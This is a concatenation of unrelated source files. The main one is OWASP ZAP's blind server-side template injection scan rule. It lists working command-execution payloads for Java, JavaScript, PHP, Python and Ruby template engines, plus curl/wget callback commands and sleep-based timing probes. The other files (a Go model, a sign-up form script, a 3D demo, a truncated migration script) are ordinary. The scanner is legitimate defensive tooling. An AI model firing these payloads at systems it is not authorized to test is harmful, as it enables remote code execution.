<gh_stars>0 /* * Zed Attack Proxy (ZAP) and its related class files. * * ZAP is an HTTP/HTTPS proxy for assessing web application security. * * Copyright 2022 The ZAP Development Team * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.zaproxy.zap.extension.ascanrulesAlpha; import java.io.IOException; import java.net.SocketException; import java.util.concurrent.TimeUnit; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.parosproxy.paros.Constant; import org.parosproxy.paros.control.Control; import org.parosproxy.paros.core.scanner.AbstractAppParamPlugin; import org.parosproxy.paros.core.scanner.Alert; import org.parosproxy.paros.core.scanner.Category; import org.parosproxy.paros.core.scanner.Plugin; import org.parosproxy.paros.network.HttpMessage; import org.zaproxy.addon.oast.ExtensionOast; import org.zaproxy.zap.model.Tech; /** * Active Plugin for Server Side Template Injection testing and verification. * * @author DiogoMRSilva (2019) */ public class SstiBlindScanRule extends AbstractAppParamPlugin { /** Prefix for internationalised messages used by this rule */ private static final String MESSAGE_PREFIX = "ascanalpha.sstiblind."; private static final String SECONDS_PLACEHOLDER = "X_SECONDS_X"; private static final float ERROR_MARGIN = 0.9f; // Most of the exploits have been created by <NAME> @albinowax and the Tplmap creator private static final String[] JAVA_COMMAND_EXEC_PAYLOADS = { "<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"X_COMMAND_X\") }", // javaFreemarker https://portswigger.net/blog/server-side-template-injection "#set($engine=\"\")\n" + "#set($proc=$engine.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"X_COMMAND_X\"))\n" + "#set($null=$proc.waitFor())\n" + "${null}" // javaVelocity // https://portswigger.net/blog/server-side-template-injection }; private static final String[] JAVASCRIPT_COMMAND_EXEC_PAYLOADS = { "{{= global.process.mainModule.require('child_process').execSync('X_COMMAND_X').toString() }}", // Javascript dot "<%= global.process.mainModule.require('child_process').execSync('X_COMMAND_X').toString()%>", // Javascript EJS "#{global.process.mainModule.require('child_process').execSync('X_COMMAND_X').toString()}", // Javascript jade "{{range.constructor(\"return eval(\\\"global.process.mainModule.require('child_process').execSync('X_COMMAND_X').toString()\\\")\")()}}" // Javascript Nunjucks }; private static final String[] PHP_COMMAND_EXEC_PAYLOADS = { "{system(\"X_COMMAND_X\")}", // PHP smarty }; private static final String[] PYTHON_COMMAND_EXEC_PAYLOADS = { "{{\"\".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get(\"__builtins__\").get(\"__import__\")(\"subprocess\").check_output(\"X_COMMAND_X\")}}", // python3 jinja2 possibly doesn't work "${__import__(\"subprocess\").check_output(\"X_COMMAND_X\", shell=True)}", // python Mako "{{__import__(\"subprocess\").check_output(\"X_COMMAND_X\", shell=True)}}", // Python // Tornado }; private static final String[] RUBY_COMMAND_EXEC_PAYLOADS = { "<%=%x(X_COMMAND_X)%>", // Ruby ERB "#{%x(X_COMMAND_X)}" // Ruby Slims }; private static final String[] WAYS_TO_MAKE_HTTP_REQUESTS_CMD_LINE = { "curl X_URL_X", "wget X_URL_X" }; private static final Logger LOG = LogManager.getLogger(SstiBlindScanRule.class); @Override public int getId() { return 90036; } @Override public String getName() { return Constant.messages.getString(MESSAGE_PREFIX + "name"); } @Override public String getDescription() { return Constant.messages.getString(MESSAGE_PREFIX + "desc"); } @Override public int getCategory() { return Category.INJECTION; } @Override public String getSolution() { return Constant.messages.getString(MESSAGE_PREFIX + "soln"); } @Override public String getReference() { return Constant.messages.getString(MESSAGE_PREFIX + "refs"); } @Override public int getCweId() { return 74; // CWE - 74 : Failure to Sanitize Data into a Different Plane ('Injection') } @Override public int getWascId() { return 20; // WASC-20: Improper Input Handling } @Override public int getRisk() { return Alert.RISK_HIGH; } @Override public void scan(HttpMessage msg, String paramName, String value) { if (inScope(Tech.JAVA)) { sendPayloadsToMakeCallBack(paramName, JAVA_COMMAND_EXEC_PAYLOADS); timeBasedTests(paramName, JAVA_COMMAND_EXEC_PAYLOADS); } if (inScope(Tech.JAVASCRIPT)) { sendPayloadsToMakeCallBack(paramName, JAVASCRIPT_COMMAND_EXEC_PAYLOADS); timeBasedTests(paramName, JAVASCRIPT_COMMAND_EXEC_PAYLOADS); } if (inScope(Tech.PYTHON)) { sendPayloadsToMakeCallBack(paramName, PYTHON_COMMAND_EXEC_PAYLOADS); timeBasedTests(paramName, PYTHON_COMMAND_EXEC_PAYLOADS); } if (inScope(Tech.RUBY)) { sendPayloadsToMakeCallBack(paramName, RUBY_COMMAND_EXEC_PAYLOADS); timeBasedTests(paramName, RUBY_COMMAND_EXEC_PAYLOADS); } if (inScope(Tech.PHP)) { sendPayloadsToMakeCallBack(paramName, PHP_COMMAND_EXEC_PAYLOADS); timeBasedTests(paramName, PHP_COMMAND_EXEC_PAYLOADS); } } /** * Tries to inject template code that will cause a time delay in the case of being rendered * * @param paramName the name of the parameter where to search for our injection * @param commandExecPayloads the payloads that can possibly execute commands, they need to have * the word X_COMMAND_X in the place where the command should be inserted */ private void timeBasedTests(String paramName, String[] commandExecPayloads) { String payloadFormat; for (String sstiFormatPayload : commandExecPayloads) { payloadFormat = sstiFormatPayload.replace("X_COMMAND_X", "sleep X_SECONDS_X"); checkIfCausesTimeDelay(paramName, payloadFormat); } // TODO make more requests using other ways of delaying a response } /** * Check if the given payloadFormat causes an time delay in the server * * @param paramName the name of the parameter where to search for or injection * @param payloadFormat format string that when formated with 1 argument makes a string that may * cause a delay equal to the number of second inserted by the format */ private void checkIfCausesTimeDelay(String paramName, String payloadFormat) { String test2seconds = payloadFormat.replace(SECONDS_PLACEHOLDER, "2"); HttpMessage msg = getNewMsg(); setParameter(msg, paramName, test2seconds); try { sendAndReceive(msg, false); int time2secondsTest = msg.getTimeElapsedMillis(); if (time2secondsTest >= TimeUnit.SECONDS.toMillis(2) * ERROR_MARGIN) { // If we detect a response that takes more time that the delay we tried to // cause it is possible that our injection was successful but it also may // have been caused by the network or other variable. So further testing is needed. String sanityTest = payloadFormat.replace(SECONDS_PLACEHOLDER, "0"); msg = getNewMsg(); setParameter(msg, paramName, sanityTest); sendAndReceive(msg, false); int timeWithSanityTest = msg.getTimeElapsedMillis(); int sumTime = (int) (1 + TimeUnit.MILLISECONDS.toSeconds( (long) time2secondsTest + timeWithSanityTest)); String testOfSumSeconds = payloadFormat.replace(SECONDS_PLACEHOLDER, Integer.toString(sumTime)); msg = getNewMsg(); setParameter(msg, paramName, testOfSumSeconds); sendAndReceive(msg, false); int timeSumSecondsTest = msg.getTimeElapsedMillis(); if (timeSumSecondsTest >= TimeUnit.SECONDS.toMillis(sumTime) * ERROR_MARGIN) { this.newAlert() .setConfidence(Alert.CONFIDENCE_HIGH) .setUri(msg.getRequestHeader().getURI().toString()) .setParam(paramName) .setAttack(testOfSumSeconds) .setMessage(msg) .raise(); } } } catch (SocketException ex) { LOG.debug( "Caught {} {} when accessing: {}", ex.getClass().getName(), ex.getMessage(), msg.getRequestHeader().getURI()); } catch (IOException ex) { LOG.warn( "SSTI vulnerability check failed for parameter [{}] and payload [{}] due to an I/O error", paramName, payloadFormat, ex); } } /** * Function tries to make system commands that call back to ZAP. * * @param paramName the name of the parameter will be used for testing for injection * @param commandExecPayloads the payloads that can possibly execute commands, they need to be * format strings */ private void sendPayloadsToMakeCallBack(String paramName, String[] commandExecPayloads) { int allowedNumberCommands = 0; // whe should only run this scanner when the level is High, util then // just time based attacks should be used because of the limitations // in requests numbers if (this.getAttackStrength() == Plugin.AttackStrength.HIGH) { allowedNumberCommands = 1; } else if (this.getAttackStrength() == Plugin.AttackStrength.INSANE) { allowedNumberCommands = 999; } int numberCommandsSent = 0; ExtensionOast extOast = Control.getSingleton().getExtensionLoader().getExtension(ExtensionOast.class); if (extOast == null) { LOG.info("Could not use extension OAST in blind SSTI scan rule"); return; } for (String requestCmd : WAYS_TO_MAKE_HTTP_REQUESTS_CMD_LINE) { if (numberCommandsSent >= allowedNumberCommands) { break; } numberCommandsSent += 1; for (String sstiFormatPayload : commandExecPayloads) { Alert alert = newAlert() .setUri(getBaseMsg().getRequestHeader().getURI().toString()) .setConfidence(Alert.CONFIDENCE_HIGH) .setSource(Alert.Source.ACTIVE) .setParam(paramName) .setOtherInfo( Constant.messages.getString( MESSAGE_PREFIX + "alert.recvdcallback.otherinfo")) .build(); String url; if (extOast.getActiveScanOastService() != null) { try { url = "http://" + extOast.registerAlertAndGetPayload(alert); } catch (Exception e) { LOG.warn("Failed to register callback on oast", e); return; } } else if (extOast.getCallbackService() != null) { url = extOast.registerAlertAndGetPayloadForCallbackService( alert, SstiBlindScanRule.class.getSimpleName()); } else { LOG.info("Could not use extension OAST on blind SSTI scan rule"); return; } String payload = sstiFormatPayload .replace("X_COMMAND_X", requestCmd) .replace("X_URL_X", url); // TODO split the url to avoid FPs HttpMessage msg = getNewMsg(); setParameter(msg, paramName, payload); alert.setMessage(msg); alert.setAttack(payload); try { sendAndReceive(msg, false); } catch (SocketException ex) { LOG.debug( "Caught {} {} when accessing: {}", ex.getClass().getName(), ex.getMessage(), msg.getRequestHeader().getURI()); } catch (IOException ex) { LOG.warn( "SSTI vulnerability check failed for parameter [{}] and payload [{}] due to an I/O error", paramName, payload, ex); } catch (Exception ex) { LOG.error("Failed SSTI rule with payload [{}]", payload, ex); } } } } }
uyuni-project/tetra
spec/lib/coarse/main_spec.rb
require "spec_helper" describe "`tetra`", type: :aruba do it "lists subcommands" do run_simple("tetra") expect(stdout_from("tetra")).to include("Usage:") expect(stdout_from("tetra")).to include("init") expect(stdout_from("tetra")).to include("dry-run") expect(stdout_from("tetra")).to include("generate-kit") expect(stdout_from("tetra")).to include("generate-script") expect(stdout_from("tetra")).to include("generate-spec") expect(stdout_from("tetra")).to include("generate-all") expect(stdout_from("tetra")).to include("patch") expect(stdout_from("tetra")).to include("move-jars-to-kit") expect(stdout_from("tetra")).to include("get-pom") end end
marcelabbc07/TrabalhosPython
Aula21/exercicio2.py
<gh_stars>0 # Aula 21 - 06-12-2019 # Como Tratar e Trabalhar Erros!!! # DICA! O comando range() funciona de 3 formas diferentes, uma para # cada situação. # range(10) - Com a passagem de um único número o range irá começar # a contar do 0 até 9 # 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 # range(1,10) - Com a passagem de um 2 números o range irá começar # a contar do 1 até 9. Lembrando que o número 10 não aparece na contagem. # 1, 2, 3, 4, 5, 6, 7, 8, 9, # range(1,10,2) - Com a passagem do 3 número o range irá começa do 1 # até o 9 contando de 2 em 2 # 1, 3, 5, 7, 9. # para criar uma lista com o range() basta converte-lo em uma lista # Ex: a = range(2,30,3) > [2, 5, 8, 11, 14, 17, 20, 23, 26, 29] ##################################################################### # 1 - Crie um programa que leia 5 números inteiros, salve-os em uma # lista e faça a média deles. # # Use o for e o range() para isso. # # Caso um dado que não seja inteiro for digitado, deverá aparecer uma # mensagem dizendo "Erro! Digite numeor inteiro!" # # Imprima o valor n1=int(input('Digite o primeiro número:')) n2=int(input('Digite o segundo número:')) n3=int(input('Digite o terceiro número:')) n4=int(input('Digite o quarto número:')) n5=int(input('Digite o quinto número:')) lista=[] lista.append(n1) lista.append(n2) lista.append(n3) lista.append(n4) lista.append(n5) print(lista) for numero in lista:
extroxe/jiyin
source/js/sign_up.js
/** * Created by sailwish009 on 2016/12/2. */ $(function () { jQuery.validator.addMethod("phone", function (value, element) { var verify_phone = /^1[3|4|5|7|8]\d{9}$/; return this.optional(element) || (verify_phone.test(value)); }, "请填写正确的手机号"); var validate = $("#register_form").validate({ focusInvalid: true, errorElement: 'span', rules: { username: { required:true, minlength: 5, remote: { url: SITE_URL+'/user/check_username', type: 'post', data: { username: function () { return $('#username').val(); } } } }, password: { required:true, minlength: 6 }, password_confirm: { required:true, equalTo: "#password" }, phone: { required:true, minlength: 11, maxlength: 11, phone: true, remote: { url: SITE_URL+'/user/check_phone', type: 'post', data: { username: function () { return $('#phone').val(); } } } }, verification_code: { required:true, minlength:4 } }, messages: { username: { required:"请填写用户名", minlength: $.validator.format("用户名至少需要{0}位"), remote: "该用户名已被注册" }, password: { required:"请填写密码", minlength: $.validator.format("密码至少需要{0}位") }, password_confirm: { required:"请填写确认密码", equalTo: "两次密码输入不一致" }, phone: { required: "请填写手机号", minlength: "请填写正确的手机号", maxlength: "请填写正确的手机号", phone: "请填写正确的手机号", remote: "该手机号已被使用" }, verification_code: { required: "请填写手机验证码", minlength: "请填写手机验证码" } }, errorPlacement: function ( error, element ) { // Add the `help-block` class to the error element // element.parent().parent().addClass('error').removeClass('success'); error.addClass( "help-inline" ); if ( element.prop( "type" ) === "checkbox" ) { error.insertAfter( element.parent( "label" ) ); } else { if ($(element).attr("id") == 'verification_code') { error.insertAfter( element.next() ); }else { error.insertAfter( element ); } } }, success: function ( label, element ) { $(element).parent().parent().addClass('success').removeClass('error'); }, highlight: function ( element, errorClass, validClass ) { if ($(element).attr("id") == 'phone') { $("#get_verification_code").attr('disabled', 'disabled'); } $(element).parent().parent().addClass('error').removeClass('success'); }, unhighlight: function (element, errorClass, validClass) { if ($(element).attr("id") == 'verification_code') { $(element).next().next().remove(); }else { $(element).next().remove(); } if ($(element).attr("id") == 'phone') { $("#get_verification_code").removeAttr('disabled'); } $(element).parent().parent().addClass('success').removeClass('error'); }, submitHandler: function (form) { $.ajax({ url: SITE_URL+ '/user/register', type: 'POST', data: { username : $('#username').val(), password : <PASSWORD>(), password_confirm : <PASSWORD>').val(), phone : $('#phone').val(), verification_code : $('#verification_code').val() }, dataType: 'json', success: function (data) { if (data.success) { alert('注册成功,请登录'); window.location.href = SITE_URL + 'index/sign_in'; }else { alert(data.msg); } }, error: function () { // 服务器错误 alert('服务器繁忙,请稍后重试!'); } }); } }); $("#get_verification_code").click(function () { var phone = $("#phone").val(); var verify_phone = /^1[3|4|5|7|8]\d{9}$/; if (verify_phone.test(phone)) { $.ajax({ url: SITE_URL+ '/verification_code/get_register_code', type: 'POST', data: { phone : phone }, dataType: 'json', success: function (data) { if (data.success) { // 验证码发送成功 get_verification_code_timer(120); }else { // 验证码发送失败 } }, error: function () { // 服务器错误 } }); } }); }) /** * 设置获取验证码按钮上的定时器 * @param $second 秒数 */ function get_verification_code_timer(second) { if (parseInt(second) < 1) { return; } var temp = parseInt(second); $("#get_verification_code").attr('disabled', 'disabled'); $("#get_verification_code").html(temp+"s后重新获取"); var timer = setInterval(function () { temp--; if (temp < 1) { $("#get_verification_code").html("获取验证码"); $("#get_verification_code").removeAttr('disabled'); clearInterval(timer); }else { $("#get_verification_code").attr('disabled', 'disabled'); $("#get_verification_code").html(temp+"s后重新获取"); } }, 1000); }
misterabdul/goblog-server
internal/models/token.go
package models import "go.mongodb.org/mongo-driver/bson/primitive" type RevokedTokenModel struct { UID primitive.ObjectID `bson:"_id" json:"id,omitempty"` ExpiresAt primitive.DateTime `json:"expiresAt"` Owner UserCommonModel `json:"owner"` CreatedAt interface{} `json:"createdAt"` UpdatedAt interface{} `json:"updatedAt"` DeletedAt interface{} `json:"deletedAt"` }
thothbot/parallax-demo
tmp/demo/content/materials/MaterialsTextureAnisotropy.java
/* * Copyright 2012 <NAME>, <EMAIL> * * This file is part of Parallax project. * * Parallax is free software: you can redistribute it and/or modify it * under the terms of the Creative Commons Attribution 3.0 Unported License. * * Parallax is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY * or FITNESS FOR A PARTICULAR PURPOSE. See the Creative Commons Attribution * 3.0 Unported License. for more details. * * You should have received a copy of the the Creative Commons Attribution * 3.0 Unported License along with Parallax. * If not, see http://creativecommons.org/licenses/by/3.0/. */ package org.parallax3d.parallax.demo.content.materials; import thothbot.parallax.core.client.events.AnimationReadyEvent; import thothbot.parallax.core.client.gl2.enums.TextureWrapMode; import thothbot.parallax.core.client.textures.Texture; import thothbot.parallax.core.shared.cameras.PerspectiveCamera; import thothbot.parallax.core.shared.geometries.PlaneGeometry; import thothbot.parallax.core.shared.lights.AmbientLight; import thothbot.parallax.core.shared.lights.DirectionalLight; import thothbot.parallax.core.shared.materials.MeshPhongMaterial; import thothbot.parallax.core.shared.math.Color; import thothbot.parallax.core.shared.math.Mathematics; import thothbot.parallax.core.shared.objects.Mesh; import thothbot.parallax.core.shared.scenes.Fog; import thothbot.parallax.core.shared.scenes.Scene; import org.parallax3d.parallax.demo.client.ContentWidget; import org.parallax3d.parallax.demo.client.DemoAnnotations.DemoSource; import com.google.gwt.core.client.GWT; import com.google.gwt.core.client.RunAsyncCallback; import com.google.gwt.dom.client.Style.Unit; import com.google.gwt.event.dom.client.MouseMoveEvent; import com.google.gwt.event.dom.client.MouseMoveHandler; import com.google.gwt.user.client.rpc.AsyncCallback; import com.google.gwt.user.client.ui.FlowPanel; import com.google.gwt.user.client.ui.Label; public final class MaterialsTextureAnisotropy extends ContentWidget { /* * Prepare Rendering Scene */ @DemoSource class DemoScene extends DemoAnimatedScene { private static final String texture = "./static/textures/crate.gif"; PerspectiveCamera camera; int mouseX = 0, mouseY = 0; Scene sceneMaxAnisotropy; @Override protected void onStart() { camera = new PerspectiveCamera( 35, // fov getRenderer().getAbsoluteAspectRation(), // aspect 1, // near 25000 // far ); camera.getPosition().setZ(1500); sceneMaxAnisotropy = new Scene(); sceneMaxAnisotropy.setFog( new Fog( 0xffffff, 1, 25000 ) ); sceneMaxAnisotropy.getFog().getColor().setHSL( 0.6, 0.05, 1 ); getScene().setFog(sceneMaxAnisotropy.getFog()); sceneMaxAnisotropy.add( new AmbientLight( 0xeef0ff ) ); getScene().add( new AmbientLight( 0xeef0ff ) ); DirectionalLight light1 = new DirectionalLight( 0xffffff, 2 ); light1.getPosition().set( 1 ); sceneMaxAnisotropy.add( light1 ); DirectionalLight light2 = new DirectionalLight( 0xffffff, 2 ); light2.setPosition( light1.getPosition() ); getScene().add( light2 ); // GROUND Texture texture1 = new Texture(texture); MeshPhongMaterial material1 = new MeshPhongMaterial(); material1.setColor(new Color(0xffffff)); material1.setMap(texture1); texture1.setAnisotropy( getRenderer().getMaxAnisotropy() ); texture1.setWrapS(TextureWrapMode.REPEAT); texture1.setWrapT(TextureWrapMode.REPEAT); texture1.getRepeat().set( 512, 512 ); Texture texture2 = new Texture(texture); MeshPhongMaterial material2 = new MeshPhongMaterial(); material2.setColor(new Color(0xffffff)); material2.setMap(texture2); texture2.setAnisotropy( 1 ); texture2.setWrapS(TextureWrapMode.REPEAT); texture2.setWrapT(TextureWrapMode.REPEAT); texture2.getRepeat().set( 512, 512 ); // PlaneGeometry geometry = new PlaneGeometry( 100, 100 ); Mesh mesh1 = new Mesh( geometry, material1 ); mesh1.getRotation().setX( - Math.PI / 2 ); mesh1.getScale().set( 1000 ); Mesh mesh2 = new Mesh( geometry, material2 ); mesh2.getRotation().setX( - Math.PI / 2 ); mesh2.getScale().set( 1000 ); sceneMaxAnisotropy.add( mesh1 ); getScene().add( mesh2 ); // RENDERER getRenderer().setClearColor( sceneMaxAnisotropy.getFog().getColor(), 1 ); getRenderer().setAutoClear(false); } @Override protected void onUpdate(double duration) { camera.getPosition().addX( ( mouseX - camera.getPosition().getX() ) * .05 ); camera.getPosition().setY( Mathematics.clamp( camera.getPosition().getY() + ( - ( mouseY - 200 ) - camera.getPosition().getY() ) * .05, 50, 1000 )); camera.lookAt( sceneMaxAnisotropy.getPosition() ); getRenderer().enableScissorTest( false ); getRenderer().clear(); getRenderer().enableScissorTest( true ); getRenderer().setScissor( 0, 0, getRenderer().getAbsoluteWidth()/2 - 2, getRenderer().getAbsoluteHeight() ); getRenderer().render( sceneMaxAnisotropy, camera ); getRenderer().setScissor( getRenderer().getAbsoluteWidth()/2, 0, getRenderer().getAbsoluteWidth()/2 - 2, getRenderer().getAbsoluteHeight() ); getRenderer().render(getScene(), camera); } } public MaterialsTextureAnisotropy() { super("Anisotropic filtering", "This example based on the three.js example."); } @Override public void onAnimationReady(AnimationReadyEvent event) { super.onAnimationReady(event); FlowPanel panelLeft = new FlowPanel(); panelLeft.setStyleName("common-panel", true); panelLeft.setStyleName("corner-panel", true); this.renderingPanel.add(panelLeft); this.renderingPanel.setWidgetLeftWidth(panelLeft, 1, Unit.PX, 80, Unit.PX); this.renderingPanel.setWidgetBottomHeight(panelLeft, 1, Unit.PX, 25, Unit.PX); FlowPanel panelRight = new FlowPanel(); panelRight.setStyleName("common-panel", true); panelRight.setStyleName("corner-panel", true); this.renderingPanel.add(panelRight); this.renderingPanel.setWidgetRightWidth(panelRight, 1, Unit.PX, 80, Unit.PX); this.renderingPanel.setWidgetBottomHeight(panelRight, 1, Unit.PX, 25, Unit.PX); final DemoScene rs = (DemoScene) this.renderingPanel.getAnimatedScene(); if ( this.renderingPanel.getRenderer().getMaxAnisotropy() > 0 ) { panelLeft.add(new Label("Anisotropy: " + this.renderingPanel.getRenderer().getMaxAnisotropy())); panelRight.add(new Label("Anisotropy: " + 1)); } else { panelLeft.add(new Label("not supported")); panelRight.add(new Label("not supported")); } this.renderingPanel.getCanvas().addMouseMoveHandler(new MouseMoveHandler() { @Override public void onMouseMove(MouseMoveEvent event) { rs.mouseX = (event.getX() - renderingPanel.getRenderer().getAbsoluteWidth() / 2 ); rs.mouseY = (event.getY() - renderingPanel.getRenderer().getAbsoluteHeight() / 2); } }); } @Override public DemoScene onInitialize() { return new DemoScene(); } @Override protected boolean isEnabledEffectSwitch() { return false; } @Override protected void asyncOnInitialize(final AsyncCallback<DemoAnimatedScene> callback) { GWT.runAsync(MaterialsTextureAnisotropy.class, new RunAsyncCallback() { public void onFailure(Throwable caught) { callback.onFailure(caught); } public void onSuccess() { callback.onSuccess(onInitialize()); } }); } }
trespasserw/MPS
plugins/mps-console/lang/ideCommands/source_gen/jetbrains/mps/console/ideCommands/migration/MigrationScript_1.java
<filename>plugins/mps-console/lang/ideCommands/source_gen/jetbrains/mps/console/ideCommands/migration/MigrationScript_1.java<gh_stars>0 package jetbrains.mps.console.ideCommands.migration; /*Generated by MPS */ import jetbrains.mps.lang.migration.runtime.base.MigrationScriptBase; import org.jetbrains.mps.openapi.model.SNode; import org.jetbrains.mps.openapi.module.SModule; import org.jetbrains.mps.openapi.module.SearchScope; import jetbrains.mps.lang.smodel.query.runtime.CommandUtil; import jetbrains.mps.project.EditableFilteringScope; import jetbrains.mps.lang.smodel.query.runtime.QueryExecutionContext; import jetbrains.mps.internal.collections.runtime.Sequence; import jetbrains.mps.internal.collections.runtime.IWhereFilter; import jetbrains.mps.lang.smodel.generator.smodelAdapter.SConceptOperations; import jetbrains.mps.lang.smodel.generator.smodelAdapter.SNodeOperations; import jetbrains.mps.smodel.adapter.structure.MetaAdapterFactory; import jetbrains.mps.internal.collections.runtime.IVisitor; import jetbrains.mps.lang.migration.runtime.base.RefactoringRuntime; import jetbrains.mps.lang.migration.runtime.base.Problem; import jetbrains.mps.internal.collections.runtime.ISequenceClosure; import java.util.Iterator; import jetbrains.mps.baseLanguage.closures.runtime.YieldingIterator; import jetbrains.mps.internal.collections.runtime.ISelector; import jetbrains.mps.lang.migration.runtime.base.DeprecatedConceptNotMigratedProblem; import jetbrains.mps.lang.migration.runtime.base.DeprecatedConceptMemberNotMigratedProblem; import jetbrains.mps.lang.migration.runtime.base.MigrationScriptReference; import org.jetbrains.mps.openapi.language.SAbstractConcept; public class MigrationScript_1 extends MigrationScriptBase { private final String description = "Automatic migration: move node `OfAspectOperation` and 1 others"; public String getCaption() { return description; } @Override public boolean isRerunnable() { return true; } public SNode execute(final SModule m) { doExecute(m); return null; } public void doExecute(final SModule m) { { SearchScope scope_zc5nt1_a0e = CommandUtil.createScope(m); final SearchScope scope_zc5nt1_a0e_0 = new EditableFilteringScope(scope_zc5nt1_a0e); QueryExecutionContext context = new QueryExecutionContext() { public SearchScope getDefaultSearchScope() { return scope_zc5nt1_a0e_0; } }; Sequence.fromIterable(CommandUtil.nodes(CommandUtil.selectScope(null, context))).where(new IWhereFilter<SNode>() { public boolean accept(SNode it) { return SConceptOperations.isExactly(SNodeOperations.asSConcept(SNodeOperations.getConcept(it)), SNodeOperations.asSConcept(MetaAdapterFactory.getConcept(MetaAdapterFactory.getLanguage(0xa5e4de5346a344daL, 0xaab368fdf1c34ed0L, "jetbrains.mps.console.ideCommands"), 0x5252d9021b8b45a8L, "OfAspectOperation"))); } }).visitAll(new IVisitor<SNode>() { public void visit(SNode node) { RefactoringRuntime.replaceWithNewConcept(node, MetaAdapterFactory.getConcept(MetaAdapterFactory.getLanguage(0x69b8a9939b874d96L, 0xbf0c3559f4bb0c63L, "jetbrains.mps.lang.slanguage"), 0x5252d9021b8b45a8L, "OfAspectOperation")); } }); Sequence.fromIterable(CommandUtil.nodes(CommandUtil.selectScope(null, context))).where(new IWhereFilter<SNode>() { public boolean accept(SNode it) { return SNodeOperations.isInstanceOf(it, SNodeOperations.asSConcept(MetaAdapterFactory.getConcept(MetaAdapterFactory.getLanguage(0x69b8a9939b874d96L, 0xbf0c3559f4bb0c63L, "jetbrains.mps.lang.slanguage"), 0x5252d9021b8b45a8L, "OfAspectOperation"))) || MigrationScript_1.isMovedConcept(SNodeOperations.getConcept(it)); } }).visitAll(new IVisitor<SNode>() { public void visit(SNode node) { RefactoringRuntime.changeReferenceLinkInstances(node, MetaAdapterFactory.getReferenceLink(0xa5e4de5346a344daL, 0xaab368fdf1c34ed0L, 0x5252d9021b8b45a8L, 0x7cd422dbfa7b06f8L, "requestedAspect"), MetaAdapterFactory.getReferenceLink(0x69b8a9939b874d96L, 0xbf0c3559f4bb0c63L, 0x5252d9021b8b45a8L, 0x7cd422dbfa7b06f8L, "requestedAspect")); } }); } } @Override public Iterable<Problem> check(SModule m) { { SearchScope scope_zc5nt1_a0f = CommandUtil.createScope(m); final SearchScope scope_zc5nt1_a0f_0 = new EditableFilteringScope(scope_zc5nt1_a0f); final QueryExecutionContext context = new QueryExecutionContext() { public SearchScope getDefaultSearchScope() { return scope_zc5nt1_a0f_0; } }; return Sequence.fromClosure(new ISequenceClosure<Problem>() { public Iterable<Problem> iterable() { return new Iterable<Problem>() { public Iterator<Problem> iterator() { return new YieldingIterator<Problem>() { private int __CP__ = 0; protected boolean moveToNext() { __loop__: do { __switch__: switch (this.__CP__) { case -1: assert false : "Internal error"; return false; case 2: this._2__yield_zc5nt1_a0a0d0a0f_it = Sequence.fromIterable(Sequence.fromIterable(CommandUtil.nodes(CommandUtil.selectScope(null, context))).where(new IWhereFilter<SNode>() { public boolean accept(SNode it) { return SNodeOperations.isInstanceOf(it, SNodeOperations.asSConcept(MetaAdapterFactory.getConcept(MetaAdapterFactory.getLanguage(0xa5e4de5346a344daL, 0xaab368fdf1c34ed0L, "jetbrains.mps.console.ideCommands"), 0x5252d9021b8b45a8L, "OfAspectOperation"))) && !(SNodeOperations.isInstanceOf(it, SNodeOperations.asSConcept(MetaAdapterFactory.getConcept(MetaAdapterFactory.getLanguage(0x69b8a9939b874d96L, 0xbf0c3559f4bb0c63L, "jetbrains.mps.lang.slanguage"), 0x5252d9021b8b45a8L, "OfAspectOperation")))); } }).select(new ISelector<SNode, Problem>() { public Problem select(SNode it) { Problem problem = new DeprecatedConceptNotMigratedProblem(it); return problem; } })).iterator(); case 3: if (!(this._2__yield_zc5nt1_a0a0d0a0f_it.hasNext())) { this.__CP__ = 5; break; } this._2__yield_zc5nt1_a0a0d0a0f = this._2__yield_zc5nt1_a0a0d0a0f_it.next(); this.__CP__ = 4; break; case 5: this._6__yield_zc5nt1_b0a0d0a0f_it = Sequence.fromIterable(Sequence.fromIterable(CommandUtil.nodes(CommandUtil.selectScope(null, context))).where(new IWhereFilter<SNode>() { public boolean accept(SNode it) { return SNodeOperations.isInstanceOf(it, SNodeOperations.asSConcept(MetaAdapterFactory.getConcept(MetaAdapterFactory.getLanguage(0xa5e4de5346a344daL, 0xaab368fdf1c34ed0L, "jetbrains.mps.console.ideCommands"), 0x5252d9021b8b45a8L, "OfAspectOperation"))) || SNodeOperations.isInstanceOf(it, SNodeOperations.asSConcept(MetaAdapterFactory.getConcept(MetaAdapterFactory.getLanguage(0x69b8a9939b874d96L, 0xbf0c3559f4bb0c63L, "jetbrains.mps.lang.slanguage"), 0x5252d9021b8b45a8L, "OfAspectOperation"))); } }).where(new IWhereFilter<SNode>() { public boolean accept(SNode it) { return it.getReference(MetaAdapterFactory.getReferenceLink(0xa5e4de5346a344daL, 0xaab368fdf1c34ed0L, 0x5252d9021b8b45a8L, 0x7cd422dbfa7b06f8L, "requestedAspect")) != null; } }).select(new ISelector<SNode, Problem>() { public Problem select(SNode it) { return DeprecatedConceptMemberNotMigratedProblem.deprecatedReferenceLink(it, MetaAdapterFactory.getReferenceLink(0xa5e4de5346a344daL, 0xaab368fdf1c34ed0L, 0x5252d9021b8b45a8L, 0x7cd422dbfa7b06f8L, "requestedAspect")); } })).iterator(); case 7: if (!(this._6__yield_zc5nt1_b0a0d0a0f_it.hasNext())) { this.__CP__ = 1; break; } this._6__yield_zc5nt1_b0a0d0a0f = this._6__yield_zc5nt1_b0a0d0a0f_it.next(); this.__CP__ = 8; break; case 6: this.__CP__ = 3; this.yield(_2__yield_zc5nt1_a0a0d0a0f); return true; case 9: this.__CP__ = 7; this.yield(_6__yield_zc5nt1_b0a0d0a0f); return true; case 0: this.__CP__ = 2; break; case 4: this.__CP__ = 6; break; case 8: this.__CP__ = 9; break; default: break __loop__; } } while (true); return false; } private Problem _2__yield_zc5nt1_a0a0d0a0f; private Iterator<Problem> _2__yield_zc5nt1_a0a0d0a0f_it; 